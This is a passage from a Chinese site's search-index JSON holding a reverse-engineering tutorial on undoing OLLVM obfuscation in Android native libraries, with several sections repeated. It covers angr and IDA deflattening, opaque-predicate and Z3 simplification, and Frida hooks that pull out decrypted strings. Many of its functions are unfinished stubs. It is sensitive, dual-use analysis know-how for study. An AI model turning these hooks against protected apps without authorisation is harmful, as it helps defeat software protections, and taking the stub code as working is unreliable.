blk.for_all_insns(visitor) print(f\"[*] Found {len(visitor.state_assignments)} state assignments\") # 2. 构建真实的控制流 real_cfg = {} for block_addr, next_state in visitor.state_assignments.items(): # 找到 next_state 对应的目标块 for i in range(mba.qty): blk = mba.get_mblock(i) # 检查块的入口状态 if matches_state(blk, next_state): real_cfg[block_addr] = blk.start break # 3. Patch 控制流 for src_addr, dst_addr in real_cfg.items(): patch_jump(src_addr, dst_addr) return cfunc def matches_state(blk, state_value): \"\"\"检查基本块是否对应某个状态值\"\"\" # 分析块的条件判断 tail = blk.tail if tail and tail.opcode == ida_hexrays.m_jcnd: # 检查条件是否比较状态变量 pass return False def patch_jump(src_addr, dst_addr): \"\"\"将条件跳转替换为无条件跳转\"\"\" # 实现 patch 逻辑 pass # 注册优化 Pass # ida_hexrays.install_microcode_filter(deflattening_pass) ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#41-控制流平坦化去混淆"},{"categories":null,"collections":null,"content":"4.1 控制流平坦化去混淆 4.1.1 基于符号执行的去平坦化 # 使用 angr 进行符号执行去平坦化 import angr import claripy from collections import defaultdict class CFGDeflattener: def __init__(self, binary_path, func_addr): self.proj = angr.Project(binary_path, auto_load_libs=False) self.func_addr = func_addr self.state_var = None self.real_cfg = defaultdict(list) def identify_dispatcher(self): \"\"\"识别主分发器\"\"\" cfg = self.proj.analyses.CFGFast() func = cfg.functions.get(self.func_addr) if not func: print(f\"Function not found at 0x{self.func_addr:x}\") return None # 寻找入度最高的基本块（可能是分发器） block_in_degree = defaultdict(int) for block in func.blocks: for succ in block.vex.constant_jump_targets: block_in_degree[succ] += 1 dispatcher = max(block_in_degree, key=block_in_degree.get) print(f\"[*] Identified dispatcher at 0x{dispatcher:x}\") return dispatcher def symbolic_execution(self, start_addr, max_steps=1000): \"\"\"符号执行追踪状态转移\"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 创建符号状态变量 state_sym = claripy.BVS('state', 32) transitions = [] visited = set() simgr = self.proj.factory.simulation_manager(state) step_count = 0 while simgr.active and step_count \u003c max_steps: simgr.step() step_count += 1 for s in simgr.active: current_block = s.addr if current_block in visited: continue visited.add(current_block) # 记录状态转移 if hasattr(s, 'history') and len(s.history.bbl_addrs) \u003e 1: prev_block = s.history.bbl_addrs[-2] transitions.append((prev_block, current_block)) return transitions def recover_cfg(self): \"\"\"恢复原始控制流图\"\"\" dispatcher = self.identify_dispatcher() if not dispatcher: return None # 符号执行获取转移关系 transitions = self.symbolic_execution(self.func_addr) # 过滤掉通过分发器的边 real_transitions = [] for src, dst in transitions: if src != dispatcher and dst != dispatcher: real_transitions.append((src, dst)) print(\"\\n[*] Recovered CFG edges:\") for src, dst in real_transitions: print(f\" 0x{src:x} -\u003e 0x{dst:x}\") return real_transitions def generate_patched_binary(self, output_path): \"\"\"生成修复后的二进制\"\"\" real_cfg = self.recover_cfg() # 这里需要实现实际的 patch 逻辑 # 1. 移除分发器块 # 2. 将状态赋值替换为直接跳转 # 3. 重新链接基本块 print(f\"[*] Patched binary saved to {output_path}\") # 使用示例 # deflattener = CFGDeflattener(\"target.so\", 0x1234) # deflattener.generate_patched_binary(\"target_deflattened.so\") 4.1.2 IDA Pro Microcode 去平坦化 # IDA Pro Microcode API 去平坦化 import ida_hexrays import ida_funcs import idautils class MicrocodeDeflattener(ida_hexrays.minsn_visitor_t): def __init__(self): ida_hexrays.minsn_visitor_t.__init__(self) self.state_var = None self.state_assignments = {} # {block_addr: next_state} self.dispatcher_addr = None def visit_minsn(self): \"\"\"访问每条微码指令\"\"\" insn = self.curins # 查找状态变量赋值: mov state_var, imm if insn.opcode == ida_hexrays.m_mov: if insn.d.t == ida_hexrays.mop_r: # 目标是寄存器 if insn.l.t == ida_hexrays.mop_n: # 源是立即数 state_value = insn.l.nnn.value block_addr = self.blk.head self.state_assignments[block_addr] = state_value return 0 def deflattening_pass(cfunc): \"\"\"去平坦化优化 Pass\"\"\" mba = cfunc.mba # 1. 识别状态变量和分发器 visitor = MicrocodeDeflattener() for i in range(mba.qty): blk = mba.get_mblock(i) visitor.blk = blk blk.for_all_insns(visitor) print(f\"[*] Found {len(visitor.state_assignments)} state assignments\") # 2. 构建真实的控制流 real_cfg = {} for block_addr, next_state in visitor.state_assignments.items(): # 找到 next_state 对应的目标块 for i in range(mba.qty): blk = mba.get_mblock(i) # 检查块的入口状态 if matches_state(blk, next_state): real_cfg[block_addr] = blk.start break # 3. Patch 控制流 for src_addr, dst_addr in real_cfg.items(): patch_jump(src_addr, dst_addr) return cfunc def matches_state(blk, state_value): \"\"\"检查基本块是否对应某个状态值\"\"\" # 分析块的条件判断 tail = blk.tail if tail and tail.opcode == ida_hexrays.m_jcnd: # 检查条件是否比较状态变量 pass return False def patch_jump(src_addr, dst_addr): \"\"\"将条件跳转替换为无条件跳转\"\"\" # 实现 patch 逻辑 pass # 注册优化 Pass # ida_hexrays.install_microcode_filter(deflattening_pass) ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#411-基于符号执行的去平坦化"},{"categories":null,"collections":null,"content":"4.1 控制流平坦化去混淆 4.1.1 基于符号执行的去平坦化 # 使用 angr 进行符号执行去平坦化 import angr import claripy from collections import defaultdict class CFGDeflattener: def __init__(self, binary_path, func_addr): self.proj = angr.Project(binary_path, auto_load_libs=False) self.func_addr = func_addr self.state_var = None self.real_cfg = defaultdict(list) def identify_dispatcher(self): \"\"\"识别主分发器\"\"\" cfg = self.proj.analyses.CFGFast() func = cfg.functions.get(self.func_addr) if not func: print(f\"Function not found at 0x{self.func_addr:x}\") return None # 寻找入度最高的基本块（可能是分发器） block_in_degree = defaultdict(int) for block in func.blocks: for succ in block.vex.constant_jump_targets: block_in_degree[succ] += 1 dispatcher = max(block_in_degree, key=block_in_degree.get) print(f\"[*] Identified dispatcher at 0x{dispatcher:x}\") return dispatcher def symbolic_execution(self, start_addr, max_steps=1000): \"\"\"符号执行追踪状态转移\"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 创建符号状态变量 state_sym = claripy.BVS('state', 32) transitions = [] visited = set() simgr = self.proj.factory.simulation_manager(state) step_count = 0 while simgr.active and step_count \u003c max_steps: simgr.step() step_count += 1 for s in simgr.active: current_block = s.addr if current_block in visited: continue visited.add(current_block) # 记录状态转移 if hasattr(s, 'history') and len(s.history.bbl_addrs) \u003e 1: prev_block = s.history.bbl_addrs[-2] transitions.append((prev_block, current_block)) return transitions def recover_cfg(self): \"\"\"恢复原始控制流图\"\"\" dispatcher = self.identify_dispatcher() if not dispatcher: return None # 符号执行获取转移关系 transitions = self.symbolic_execution(self.func_addr) # 过滤掉通过分发器的边 real_transitions = [] for src, dst in transitions: if src != dispatcher and dst != dispatcher: real_transitions.append((src, dst)) print(\"\\n[*] Recovered CFG edges:\") for src, dst in real_transitions: print(f\" 0x{src:x} -\u003e 0x{dst:x}\") return real_transitions def generate_patched_binary(self, output_path): \"\"\"生成修复后的二进制\"\"\" real_cfg = self.recover_cfg() # 这里需要实现实际的 patch 逻辑 # 1. 移除分发器块 # 2. 将状态赋值替换为直接跳转 # 3. 重新链接基本块 print(f\"[*] Patched binary saved to {output_path}\") # 使用示例 # deflattener = CFGDeflattener(\"target.so\", 0x1234) # deflattener.generate_patched_binary(\"target_deflattened.so\") 4.1.2 IDA Pro Microcode 去平坦化 # IDA Pro Microcode API 去平坦化 import ida_hexrays import ida_funcs import idautils class MicrocodeDeflattener(ida_hexrays.minsn_visitor_t): def __init__(self): ida_hexrays.minsn_visitor_t.__init__(self) self.state_var = None self.state_assignments = {} # {block_addr: next_state} self.dispatcher_addr = None def visit_minsn(self): \"\"\"访问每条微码指令\"\"\" insn = self.curins # 查找状态变量赋值: mov state_var, imm if insn.opcode == ida_hexrays.m_mov: if insn.d.t == ida_hexrays.mop_r: # 目标是寄存器 if insn.l.t == ida_hexrays.mop_n: # 源是立即数 state_value = insn.l.nnn.value block_addr = self.blk.head self.state_assignments[block_addr] = state_value return 0 def deflattening_pass(cfunc): \"\"\"去平坦化优化 Pass\"\"\" mba = cfunc.mba # 1. 识别状态变量和分发器 visitor = MicrocodeDeflattener() for i in range(mba.qty): blk = mba.get_mblock(i) visitor.blk = blk blk.for_all_insns(visitor) print(f\"[*] Found {len(visitor.state_assignments)} state assignments\") # 2. 构建真实的控制流 real_cfg = {} for block_addr, next_state in visitor.state_assignments.items(): # 找到 next_state 对应的目标块 for i in range(mba.qty): blk = mba.get_mblock(i) # 检查块的入口状态 if matches_state(blk, next_state): real_cfg[block_addr] = blk.start break # 3. Patch 控制流 for src_addr, dst_addr in real_cfg.items(): patch_jump(src_addr, dst_addr) return cfunc def matches_state(blk, state_value): \"\"\"检查基本块是否对应某个状态值\"\"\" # 分析块的条件判断 tail = blk.tail if tail and tail.opcode == ida_hexrays.m_jcnd: # 检查条件是否比较状态变量 pass return False def patch_jump(src_addr, dst_addr): \"\"\"将条件跳转替换为无条件跳转\"\"\" # 实现 patch 逻辑 pass # 注册优化 Pass # ida_hexrays.install_microcode_filter(deflattening_pass) ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#412-ida-pro-microcode-去平坦化"},{"categories":null,"collections":null,"content":"4.2 虚假控制流去除 4.2.1 基于数据流分析 # 不透明谓词检测与消除 import ida_hexrays import idc class OpaquPredicateDetector: # 已知的不透明谓词模式 OPAQUE_PATTERNS = [ # (模式描述, 检测函数, 结果) (\"x * x \u003e= 0\", lambda x: True, True), # 平方数非负 (\"(x \u0026 1) ^ 1 == 0 || (x \u0026 1) == 0\", lambda x: True, True), # 永真 (\"x * (x + 1) % 2 != 0\", lambda x: False, False), # 连续整数乘积是偶数 (\"(x | x) == x\", lambda x: True, True), # 自身或 (\"(x \u0026 x) == x\", lambda x: True, True), # 自身与 ] def __init__(self, cfunc): self.cfunc = cfunc self.opaque_conditions = [] def analyze(self): \"\"\"分析所有条件表达式\"\"\" class ConditionVisitor(ida_hexrays.ctree_visitor_t): def __init__(self, detector): ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST) self.detector = detector def visit_expr(self, expr): # 检查 if 条件 if expr.op == ida_hexrays.cot_if: cond = expr.x if self.detector.is_opaque(cond): self.detector.opaque_conditions.append(expr.ea) return 0 visitor = ConditionVisitor(self) visitor.apply_to(self.cfunc.body, None) return self.opaque_conditions def is_opaque(self, cond_expr): \"\"\"检查条件是否是不透明谓词\"\"\" # 模式 1: x * x \u003e= 0 if self.matches_square_pattern(cond_expr): return True # 模式 2: x == x if self.matches_self_comparison(cond_expr): return True # 模式 3: 常量折叠可判断 if self.is_constant_foldable(cond_expr): return True return False def matches_square_pattern(self, expr): \"\"\"检测 x * x \u003e= 0 模式\"\"\" if expr.op == ida_hexrays.cot_sge: # \u003e= left = expr.x right = expr.y # 右侧是 0 if right.op == ida_hexrays.cot_num and right.n._value == 0: # 左侧是乘法 if left.op == ida_hexrays.cot_mul: # 乘法两侧相同 if self.exprs_equal(left.x, left.y): return True return False def matches_self_comparison(self, expr): \"\"\"检测 x == x 模式\"\"\" if expr.op in [ida_hexrays.cot_eq, ida_hexrays.cot_le, ida_hexrays.cot_ge]: if self.exprs_equal(expr.x, expr.y): return True return False def exprs_equal(self, e1, e2): \"\"\"检查两个表达式是否相等\"\"\" if e1.op != e2.op: return False if e1.op == ida_hexrays.cot_var: return e1.v.idx == e2.v.idx # 递归检查子表达式 return False def is_constant_foldable(self, expr): \"\"\"检查表达式是否可以常量折叠\"\"\" # 尝试符号求值 try: result = self.symbolic_eval(expr) return result is not None and isinstance(result, bool) except: return False def remove_opaque_predicates(self): \"\"\"移除检测到的不透明谓词\"\"\" for addr in self.opaque_conditions: print(f\"[*] Removing opaque predicate at 0x{addr:x}\") # 根据谓词的恒定结果，简化控制流 # 永真 -\u003e 删除 else 分支 # 永假 -\u003e 删除 if 分支 # 使用示例 # cfunc = ida_hexrays.decompile(idc.here()) # detector = OpaquPredicateDetector(cfunc) # opaques = detector.analyze() # detector.remove_opaque_predicates() ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#42-虚假控制流去除"},{"categories":null,"collections":null,"content":"4.2 虚假控制流去除 4.2.1 基于数据流分析 # 不透明谓词检测与消除 import ida_hexrays import idc class OpaquPredicateDetector: # 已知的不透明谓词模式 OPAQUE_PATTERNS = [ # (模式描述, 检测函数, 结果) (\"x * x \u003e= 0\", lambda x: True, True), # 平方数非负 (\"(x \u0026 1) ^ 1 == 0 || (x \u0026 1) == 0\", lambda x: True, True), # 永真 (\"x * (x + 1) % 2 != 0\", lambda x: False, False), # 连续整数乘积是偶数 (\"(x | x) == x\", lambda x: True, True), # 自身或 (\"(x \u0026 x) == x\", lambda x: True, True), # 自身与 ] def __init__(self, cfunc): self.cfunc = cfunc self.opaque_conditions = [] def analyze(self): \"\"\"分析所有条件表达式\"\"\" class ConditionVisitor(ida_hexrays.ctree_visitor_t): def __init__(self, detector): ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST) self.detector = detector def visit_expr(self, expr): # 检查 if 条件 if expr.op == ida_hexrays.cot_if: cond = expr.x if self.detector.is_opaque(cond): self.detector.opaque_conditions.append(expr.ea) return 0 visitor = ConditionVisitor(self) visitor.apply_to(self.cfunc.body, None) return self.opaque_conditions def is_opaque(self, cond_expr): \"\"\"检查条件是否是不透明谓词\"\"\" # 模式 1: x * x \u003e= 0 if self.matches_square_pattern(cond_expr): return True # 模式 2: x == x if self.matches_self_comparison(cond_expr): return True # 模式 3: 常量折叠可判断 if self.is_constant_foldable(cond_expr): return True return False def matches_square_pattern(self, expr): \"\"\"检测 x * x \u003e= 0 模式\"\"\" if expr.op == ida_hexrays.cot_sge: # \u003e= left = expr.x right = expr.y # 右侧是 0 if right.op == ida_hexrays.cot_num and right.n._value == 0: # 左侧是乘法 if left.op == ida_hexrays.cot_mul: # 乘法两侧相同 if self.exprs_equal(left.x, left.y): return True return False def matches_self_comparison(self, expr): \"\"\"检测 x == x 模式\"\"\" if expr.op in [ida_hexrays.cot_eq, ida_hexrays.cot_le, ida_hexrays.cot_ge]: if self.exprs_equal(expr.x, expr.y): return True return False def exprs_equal(self, e1, e2): \"\"\"检查两个表达式是否相等\"\"\" if e1.op != e2.op: return False if e1.op == ida_hexrays.cot_var: return e1.v.idx == e2.v.idx # 递归检查子表达式 return False def is_constant_foldable(self, expr): \"\"\"检查表达式是否可以常量折叠\"\"\" # 尝试符号求值 try: result = self.symbolic_eval(expr) return result is not None and isinstance(result, bool) except: return False def remove_opaque_predicates(self): \"\"\"移除检测到的不透明谓词\"\"\" for addr in self.opaque_conditions: print(f\"[*] Removing opaque predicate at 0x{addr:x}\") # 根据谓词的恒定结果，简化控制流 # 永真 -\u003e 删除 else 分支 # 永假 -\u003e 删除 if 分支 # 使用示例 # cfunc = ida_hexrays.decompile(idc.here()) # detector = OpaquPredicateDetector(cfunc) # opaques = detector.analyze() # detector.remove_opaque_predicates() ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#421-基于数据流分析"},{"categories":null,"collections":null,"content":"4.3 指令替换还原 4.3.1 代数化简 # 基于 Z3 的表达式化简 from z3 import * class ExpressionSimplifier: def __init__(self): self.solver = Solver() def simplify_add(self, expr): \"\"\"化简加法替换模式\"\"\" # 模式: (a ^ b) + 2 * (a \u0026 b) -\u003e a + b a, b = BitVecs('a b', 32) # 原始表达式 obfuscated = (a ^ b) + 2 * (a \u0026 b) # 简化形式 simplified = a + b # 验证等价性 self.solver.add(obfuscated != simplified) if self.solver.check() == unsat: print(\"[*] Equivalence verified: (a^b) + 2*(a\u0026b) == a+b\") return True return False def simplify_xor(self, expr): \"\"\"化简 XOR 替换模式\"\"\" a, b = BitVecs('a b', 32) # 模式: (~a \u0026 b) | (a \u0026 ~b) -\u003e a ^ b obfuscated = (~a \u0026 b) | (a \u0026 ~b) simplified = a ^ b self.solver.reset() self.solver.add(obfuscated != simplified) if self.solver.check() == unsat: print(\"[*] Equivalence verified: (~a\u0026b)|(a\u0026~b) == a^b\") return True return False def pattern_match_and_simplify(self, mba): \"\"\"在 microcode 中匹配和简化混淆模式\"\"\" simplified_count = 0 for i in range(mba.qty): blk = mba.get_mblock(i) insn = blk.head while insn: # 检测 XOR + AND + LSL + ADD 序列 (加法替换) if self.is_add_obfuscation(insn): self.simplify_to_add(insn) simplified_count += 1 insn = insn.next return simplified_count # 模式替换规则 SUBSTITUTION_RULES = [ # (混淆模式, 简化结果) (\"(a ^ b) + 2 * (a \u0026 b)\", \"a + b\"), (\"(a ^ b) + ((a \u0026 b) \u003c\u003c 1)\", \"a + b\"), (\"a - (~b + 1)\", \"a + b\"), (\"(~a \u0026 b) | (a \u0026 ~b)\", \"a ^ b\"), (\"(a | b) \u0026 (~a | ~b)\", \"a ^ b\"), (\"~(~a | ~b)\", \"a \u0026 b\"), (\"~(~a \u0026 ~b)\", \"a | b\"), ] ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#43-指令替换还原"},{"categories":null,"collections":null,"content":"4.3 指令替换还原 4.3.1 代数化简 # 基于 Z3 的表达式化简 from z3 import * class ExpressionSimplifier: def __init__(self): self.solver = Solver() def simplify_add(self, expr): \"\"\"化简加法替换模式\"\"\" # 模式: (a ^ b) + 2 * (a \u0026 b) -\u003e a + b a, b = BitVecs('a b', 32) # 原始表达式 obfuscated = (a ^ b) + 2 * (a \u0026 b) # 简化形式 simplified = a + b # 验证等价性 self.solver.add(obfuscated != simplified) if self.solver.check() == unsat: print(\"[*] Equivalence verified: (a^b) + 2*(a\u0026b) == a+b\") return True return False def simplify_xor(self, expr): \"\"\"化简 XOR 替换模式\"\"\" a, b = BitVecs('a b', 32) # 模式: (~a \u0026 b) | (a \u0026 ~b) -\u003e a ^ b obfuscated = (~a \u0026 b) | (a \u0026 ~b) simplified = a ^ b self.solver.reset() self.solver.add(obfuscated != simplified) if self.solver.check() == unsat: print(\"[*] Equivalence verified: (~a\u0026b)|(a\u0026~b) == a^b\") return True return False def pattern_match_and_simplify(self, mba): \"\"\"在 microcode 中匹配和简化混淆模式\"\"\" simplified_count = 0 for i in range(mba.qty): blk = mba.get_mblock(i) insn = blk.head while insn: # 检测 XOR + AND + LSL + ADD 序列 (加法替换) if self.is_add_obfuscation(insn): self.simplify_to_add(insn) simplified_count += 1 insn = insn.next return simplified_count # 模式替换规则 SUBSTITUTION_RULES = [ # (混淆模式, 简化结果) (\"(a ^ b) + 2 * (a \u0026 b)\", \"a + b\"), (\"(a ^ b) + ((a \u0026 b) \u003c\u003c 1)\", \"a + b\"), (\"a - (~b + 1)\", \"a + b\"), (\"(~a \u0026 b) | (a \u0026 ~b)\", \"a ^ b\"), (\"(a | b) \u0026 (~a | ~b)\", \"a ^ b\"), (\"~(~a | ~b)\", \"a \u0026 b\"), (\"~(~a \u0026 ~b)\", \"a | b\"), ] ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#431-代数化简"},{"categories":null,"collections":null,"content":"4.4 字符串解密 4.4.1 Frida 动态提取 // Frida 脚本：Hook OLLVM 字符串解密函数 function hook_string_decryption(module_name) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found\"); return; } // 搜索解密函数特征 // OLLVM 字符串解密通常有以下特征： // 1. 循环结构 // 2. XOR 或其他位操作 // 3. 访问全局数据段 var decrypted_strings = []; // Hook 常见的字符串使用函数 var strcmp = Module.findExportByName(\"libc.so\", \"strcmp\"); var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); var strlen = Module.findExportByName(\"libc.so\", \"strlen\"); if (strcmp) { Interceptor.attach(strcmp, { onEnter: function(args) { var s1 = args[0].readCString(); var s2 = args[1].readCString(); if (s1 \u0026\u0026 !decrypted_strings.includes(s1)) { decrypted_strings.push(s1); console.log(\"[strcmp] s1: \" + s1); } if (s2 \u0026\u0026 !decrypted_strings.includes(s2)) { decrypted_strings.push(s2); console.log(\"[strcmp] s2: \" + s2); } } }); } // Hook 目标模块中可能的解密函数 Memory.scan(module.base, module.size, \"?? ?? ?? ?? 4A ?? ?? ?? 91\", // ARM64 XOR 模式 { onMatch: function(address, size) { console.log(\"[*] Potential decrypt at: \" + address); // 尝试 Hook 这个位置 try { Interceptor.attach(address, { onLeave: function(retval) { if (!retval.isNull()) { try { var str = retval.readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 256) { console.log(\"[DECRYPT] \" + str); decrypted_strings.push(str); } } catch (e) {} } } }); } catch (e) { console.log(\"Hook failed: \" + e); } }, onComplete: function() { console.log(\"[*] Scan complete\"); } } ); return decrypted_strings; } // 主动触发字符串解密 function trigger_decryption(module_name) { var module = Process.findModuleByName(module_name); // 遍历模块导出函数，调用可能触发解密的函数 var exports = module.enumerateExports(); exports.forEach(function(exp) { if (exp.type === 'function' \u0026\u0026 exp.name.includes('init')) { console.log(\"[*] Calling: \" + exp.name); try { var func = new NativeFunction(exp.address, 'void', []); func(); } catch (e) { console.log(\"Call failed: \" + e); } } }); } // 导出解密字符串到文件 function export_strings(strings, output_file) { var file = new File(output_file, 'w'); strings.forEach(function(s) { file.write(s + '\\n'); }); file.close(); console.log(\"[*] Exported \" + strings.length + \" strings to \" + output_file); } 4.4.2 静态解密脚本 # IDA Python 静态字符串解密 import idc import idautils import idaapi class OLLVMStringDecryptor: def __init__(self): self.encrypted_strings = [] self.decrypt_func_addr = None def find_encrypted_data(self): \"\"\"查找加密字符串数据段\"\"\" # 搜索 .rodata 或 .data 段中的加密数据 for seg in idautils.Segments(): seg_name = idc.get_segm_name(seg) if seg_name in ['.rodata', '.data', '__const']: self.scan_segment_for_encrypted(seg) def scan_segment_for_encrypted(self, seg_start): \"\"\"扫描段中的加密数据\"\"\" seg_end = idc.get_segm_end(seg_start) addr = seg_start while addr \u003c seg_end: # 查找被引用的数据 refs = list(idautils.DataRefsTo(addr)) if refs: # 检查是否像加密字符串 data = idc.get_bytes(addr, 32) if self.looks_encrypted(data): self.encrypted_strings.append({ 'address': addr, 'data': data, 'refs': refs }) addr = idc.next_head(addr) def looks_encrypted(self, data): \"\"\"启发式判断数据是否是加密字符串\"\"\" if not data: return False # 检查熵值 entropy = self.calculate_entropy(data) if entropy \u003e 6.0: # 高熵值可能是加密数据 return True # 检查是否有可打印字符 printable_ratio = sum(1 for b in data if 32 \u003c= b \u003c= 126) / len(data) if printable_ratio \u003c 0.3: # 可打印字符少，可能是加密的 return True return False def calculate_entropy(self, data): \"\"\"计算数据熵\"\"\" from collections import Counter import math if not data: return 0 counter = Counter(data) length = len(data) entropy = 0 for count in counter.values(): if count \u003e 0: p = count / length entropy -= p * math.log2(p) return entropy def find_decrypt_function(self): \"\"\"查找解密函数\"\"\" # 特征1: 被多次调用 # 特征2: 参数是加密数据地址 # 特征3: 返回值是字符串指针 for func_ea in idautils.Functions(): func = idaapi.get_func(func_ea) if not func: continue # 检查函数特征 xrefs = list(idautils.CodeRefsTo(func_ea, True)) if len(xrefs) \u003c 3: continue # 检查函数是否访问加密数据 if self.accesses_encrypted_data(func_ea): print(f\"[*] Potential decrypt function at 0x{func_ea:x}\") self.decrypt_func_addr = func_ea return func_ea ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#44-字符串解密"},{"categories":null,"collections":null,"content":"4.4 字符串解密 4.4.1 Frida 动态提取 // Frida 脚本：Hook OLLVM 字符串解密函数 function hook_string_decryption(module_name) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found\"); return; } // 搜索解密函数特征 // OLLVM 字符串解密通常有以下特征： // 1. 循环结构 // 2. XOR 或其他位操作 // 3. 访问全局数据段 var decrypted_strings = []; // Hook 常见的字符串使用函数 var strcmp = Module.findExportByName(\"libc.so\", \"strcmp\"); var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); var strlen = Module.findExportByName(\"libc.so\", \"strlen\"); if (strcmp) { Interceptor.attach(strcmp, { onEnter: function(args) { var s1 = args[0].readCString(); var s2 = args[1].readCString(); if (s1 \u0026\u0026 !decrypted_strings.includes(s1)) { decrypted_strings.push(s1); console.log(\"[strcmp] s1: \" + s1); } if (s2 \u0026\u0026 !decrypted_strings.includes(s2)) { decrypted_strings.push(s2); console.log(\"[strcmp] s2: \" + s2); } } }); } // Hook 目标模块中可能的解密函数 Memory.scan(module.base, module.size, \"?? ?? ?? ?? 4A ?? ?? ?? 91\", // ARM64 XOR 模式 { onMatch: function(address, size) { console.log(\"[*] Potential decrypt at: \" + address); // 尝试 Hook 这个位置 try { Interceptor.attach(address, { onLeave: function(retval) { if (!retval.isNull()) { try { var str = retval.readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 256) { console.log(\"[DECRYPT] \" + str); decrypted_strings.push(str); } } catch (e) {} } } }); } catch (e) { console.log(\"Hook failed: \" + e); } }, onComplete: function() { console.log(\"[*] Scan complete\"); } } ); return decrypted_strings; } // 主动触发字符串解密 function trigger_decryption(module_name) { var module = Process.findModuleByName(module_name); // 遍历模块导出函数，调用可能触发解密的函数 var exports = module.enumerateExports(); exports.forEach(function(exp) { if (exp.type === 'function' \u0026\u0026 exp.name.includes('init')) { console.log(\"[*] Calling: \" + exp.name); try { var func = new NativeFunction(exp.address, 'void', []); func(); } catch (e) { console.log(\"Call failed: \" + e); } } }); } // 导出解密字符串到文件 function export_strings(strings, output_file) { var file = new File(output_file, 'w'); strings.forEach(function(s) { file.write(s + '\\n'); }); file.close(); console.log(\"[*] Exported \" + strings.length + \" strings to \" + output_file); } 4.4.2 静态解密脚本 # IDA Python 静态字符串解密 import idc import idautils import idaapi class OLLVMStringDecryptor: def __init__(self): self.encrypted_strings = [] self.decrypt_func_addr = None def find_encrypted_data(self): \"\"\"查找加密字符串数据段\"\"\" # 搜索 .rodata 或 .data 段中的加密数据 for seg in idautils.Segments(): seg_name = idc.get_segm_name(seg) if seg_name in ['.rodata', '.data', '__const']: self.scan_segment_for_encrypted(seg) def scan_segment_for_encrypted(self, seg_start): \"\"\"扫描段中的加密数据\"\"\" seg_end = idc.get_segm_end(seg_start) addr = seg_start while addr \u003c seg_end: # 查找被引用的数据 refs = list(idautils.DataRefsTo(addr)) if refs: # 检查是否像加密字符串 data = idc.get_bytes(addr, 32) if self.looks_encrypted(data): self.encrypted_strings.append({ 'address': addr, 'data': data, 'refs': refs }) addr = idc.next_head(addr) def looks_encrypted(self, data): \"\"\"启发式判断数据是否是加密字符串\"\"\" if not data: return False # 检查熵值 entropy = self.calculate_entropy(data) if entropy \u003e 6.0: # 高熵值可能是加密数据 return True # 检查是否有可打印字符 printable_ratio = sum(1 for b in data if 32 \u003c= b \u003c= 126) / len(data) if printable_ratio \u003c 0.3: # 可打印字符少，可能是加密的 return True return False def calculate_entropy(self, data): \"\"\"计算数据熵\"\"\" from collections import Counter import math if not data: return 0 counter = Counter(data) length = len(data) entropy = 0 for count in counter.values(): if count \u003e 0: p = count / length entropy -= p * math.log2(p) return entropy def find_decrypt_function(self): \"\"\"查找解密函数\"\"\" # 特征1: 被多次调用 # 特征2: 参数是加密数据地址 # 特征3: 返回值是字符串指针 for func_ea in idautils.Functions(): func = idaapi.get_func(func_ea) if not func: continue # 检查函数特征 xrefs = list(idautils.CodeRefsTo(func_ea, True)) if len(xrefs) \u003c 3: continue # 检查函数是否访问加密数据 if self.accesses_encrypted_data(func_ea): print(f\"[*] Potential decrypt function at 0x{func_ea:x}\") self.decrypt_func_addr = func_ea return func_ea 